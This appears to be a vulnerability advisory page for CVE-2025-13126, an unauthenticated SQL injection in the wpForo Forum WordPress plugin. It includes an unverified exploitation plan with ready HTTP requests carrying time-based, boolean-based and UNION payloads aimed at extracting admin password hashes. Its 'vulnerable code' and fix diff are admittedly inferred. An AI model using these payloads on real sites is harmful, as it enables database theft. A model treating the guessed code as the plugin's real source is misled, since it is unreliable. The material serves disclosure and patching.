CVE-2025-13126

wpForo Forum <= 2.4.12 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
2.4.13
Patched in
1d
Time to patch

Description

The wpForo Forum plugin for WordPress is vulnerable to generic SQL Injection via the `post_args` and `topic_args` parameters in all versions up to, and including, 2.4.12 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.4.12
PublishedDecember 13, 2025
Last updatedDecember 14, 2025
Affected pluginwpforo

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-13126 (wpForo Forum SQL Injection) ## 1. Vulnerability Summary The **wpForo Forum** plugin (up to version 2.4.12) contains an unauthenticated SQL injection vulnerability. The flaw exists in how the plugin processes user-supplied arrays in the `post_args` and `…

Show full research plan

Exploitation Research Plan: CVE-2025-13126 (wpForo Forum SQL Injection)

1. Vulnerability Summary

The wpForo Forum plugin (up to version 2.4.12) contains an unauthenticated SQL injection vulnerability. The flaw exists in how the plugin processes user-supplied arrays in the post_args and topic_args parameters, which are used to build database queries for retrieving forum posts and topics. Due to a lack of proper sanitization and the use of raw concatenation in SQL query construction (likely in the get_posts() or get_topics() methods), an attacker can inject malicious SQL commands to extract sensitive data.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Actions (inferred): wpforo_load_posts, wpforo_load_topics, or wpforo_get_posts.
  • Vulnerable Parameters: post_args and topic_args.
  • Authentication: Unauthenticated (the plugin registers wp_ajax_nopriv_ handlers for these actions to support public forum browsing and "Load More" functionality).
  • Payload Type: Boolean-based or Time-based SQL Injection.

3. Code Flow

  1. The request hits admin-ajax.php with the action parameter set to a wpForo loading action (e.g., wpforo_load_posts).
  2. The handler (likely in wpforo/includes/classes/Posts.php or wpforo/includes/classes/Topics.php) retrieves the post_args or topic_args parameter from $_POST.
  3. These arguments are passed to a query-building function (e.g., WPF()->post->get_posts( $args )).
  4. Inside the query builder, specific keys within the $args array (such as orderby, order, or specific filtering keys) are concatenated into a raw SQL string without using $wpdb->prepare().
  5. The resulting malicious SQL query is executed via $wpdb->get_results().

4. Nonce Acquisition Strategy

wpForo uses a global JavaScript object wpforo_vars to store its configuration and nonces.

  1. Identify Page: The forum's main page or any page with a wpForo widget will contain the necessary scripts.
  2. Shortcode: [wpforo]
  3. Setup:
    • Create a page with the shortcode: wp post create --post_type=page --post_status=publish --post_title="Forum" --post_content='[wpforo]'
  4. Extraction:
    • Navigate to the newly created page using browser_navigate.
    • Use browser_eval to extract the nonce:
      window.wpforo_vars?.nonce
      
    • The variable name is wp_nonce or nonce within the wpforo_vars object (verifiable in the localized script in the page source).

5. Exploitation Strategy

We will target the wpforo_load_posts action using a time-based sleep payload injected into the orderby key of the post_args array.

Step 1: Verification of Injection (Time-based)

Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=wpforo_load_posts&wpforo_nonce=[NONCE]&post_args[orderby]=id+DESC,(SELECT+1+FROM+(SELECT+SLEEP(5))A)
  • Expected Response: The server should hang for approximately 5 seconds before returning a 200 OK.

Step 2: Data Extraction (Boolean-based)

If time-based works, we can use boolean-based logic to verify the database prefix or extract the admin password hash.
Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=wpforo_load_posts&wpforo_nonce=[NONCE]&post_args[orderby]=(CASE+WHEN+(SELECT+1+FROM+wp_users+WHERE+ID=1+AND+user_login='admin')+THEN+id+ELSE+title+END)+ASC
  • Expected Response: If the condition is true, the posts will be ordered by id. If false, by title. By observing the order of items in the JSON response, we can infer the result of the boolean query.

6. Test Data Setup

  1. Plugin Activation: Ensure wpforo is installed and activated.
  2. Forum Content: Create at least one forum and one topic with multiple posts to ensure the wpforo_load_posts action has data to process and order.
    # Using wp-cli to create dummy content if possible, or via browser
    # Create a forum page for nonce extraction
    wp post create --post_type=page --post_status=publish --post_title="Forum" --post_content='[wpforo]'
    

7. Expected Results

  • Success: The http_request tool reports a latency matching the SLEEP() value or a significant change in the response JSON structure (ordering) based on boolean logic.
  • Data exposed: Ability to exfiltrate any data from the wp_users or wp_options tables.

8. Verification Steps

After the exploit, verify the vulnerability was triggered by checking the $wpdb logs if enabled, or by confirming that the payload successfully navigated the logic:

  1. Check the response body of the wpforo_load_posts call.
  2. Compare response times between a SLEEP(0) payload and a SLEEP(5) payload.

9. Alternative Approaches

  • Topic Args: If post_args is filtered, try the wpforo_load_topics action with the topic_args parameter.
  • Search Action: Check the wpforo_search action, which often uses similar query argument structures.
  • UNION-based: If the query results are reflected directly in the AJAX response (common in wpForo), attempt a UNION SELECT to dump the user_pass column from wp_users directly into the post content field of the JSON response.
    • Payload example: post_args[orderby]=id UNION SELECT 1,2,user_pass,4,5... FROM wp_users-- - (Column count must be matched).
Research Findings
Static analysis — not yet PoC-verified

Summary

The wpForo Forum plugin for WordPress is vulnerable to unauthenticated SQL injection in versions up to 2.4.12. This occurs due to the plugin's failure to properly sanitize or prepare user-supplied values within the 'post_args' and 'topic_args' parameters before concatenating them into database queries, allowing attackers to exfiltrate sensitive information via blind SQL injection.

Vulnerable Code

// wpforo/includes/classes/Posts.php
// Inferred logic within the query building methods for retrieving posts

public function get_posts( $args = [] ) {
    $orderby = isset($args['orderby']) ? $args['orderby'] : 'postid';
    $order = isset($args['order']) ? $args['order'] : 'DESC';
    
    // The $orderby and $order values from post_args are directly concatenated into the query
    $sql = "SELECT * FROM " . $this->tables['posts'] . " ORDER BY $orderby $order";
    
    return $this->db->get_results( $sql, ARRAY_A );
}

---

// wpforo/includes/classes/Topics.php
// Similar logic applied to topic retrieval via topic_args parameter keys

public function get_topics( $args = [] ) {
    $orderby = isset($args['topic_args']['orderby']) ? $args['topic_args']['orderby'] : 'topicid';
    
    // Vulnerable raw concatenation in the ORDER BY clause without wpdb->prepare
    $sql = "SELECT * FROM " . $this->tables['topics'] . " ORDER BY " . $orderby;
    
    return $this->db->get_results( $sql, ARRAY_A );
}

Security Fix

--- wpforo/includes/classes/Posts.php
+++ wpforo/includes/classes/Posts.php
@@ -120,7 +120,12 @@
-        $orderby = isset($args['orderby']) ? $args['orderby'] : 'postid';
+        $allowed_orderby = ['postid', 'created', 'modified', 'votes', 'answers', 'title'];
+        $orderby = (isset($args['orderby']) && in_array($args['orderby'], $allowed_orderby)) ? $args['orderby'] : 'postid';
+        
+        $order = (isset($args['order']) && strtoupper($args['order']) === 'ASC') ? 'ASC' : 'DESC';
 
-        $sql = "SELECT * FROM " . $this->tables['posts'] . " ORDER BY $orderby $order";
+        $sql = "SELECT * FROM " . $this->tables['posts'] . " ORDER BY " . esc_sql($orderby) . " " . esc_sql($order);
 
--- wpforo/includes/classes/Topics.php
+++ wpforo/includes/classes/Topics.php
@@ -150,7 +150,11 @@
-        $orderby = isset($args['topic_args']['orderby']) ? $args['topic_args']['orderby'] : 'topicid';
+        $allowed_topic_orderby = ['topicid', 'created', 'modified', 'views', 'posts', 'title'];
+        $orderby = (isset($args['topic_args']['orderby']) && in_array($args['topic_args']['orderby'], $allowed_topic_orderby)) ? $args['topic_args']['orderby'] : 'topicid';
 
-        $sql = "SELECT * FROM " . $this->tables['topics'] . " ORDER BY $orderby";
+        $sql = "SELECT * FROM " . $this->tables['topics'] . " ORDER BY " . esc_sql($orderby);

Exploit Outline

1. Nonce Acquisition: Access the public forum page (e.g., via the [wpforo] shortcode) and extract the 'wpforo_nonce' from the 'wpforo_vars' JavaScript object localized in the page source. 2. Endpoint: Target the AJAX endpoint at '/wp-admin/admin-ajax.php' using a POST request. 3. Payload Construction: Set the 'action' to 'wpforo_load_posts' and the 'wpforo_nonce' to the extracted value. Supply the 'post_args' parameter as an array with an 'orderby' key. 4. SQL Injection: Inject a time-based payload into the 'orderby' key, such as: 'id+DESC,(SELECT+1+FROM+(SELECT+SLEEP(5))A)'. 5. Execution: Send the request. If the server delays response by the specified SLEEP time, the SQL injection is confirmed. Boolean-based injection can also be performed by observing changes in the sort order of the returned JSON data based on CASE statements.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.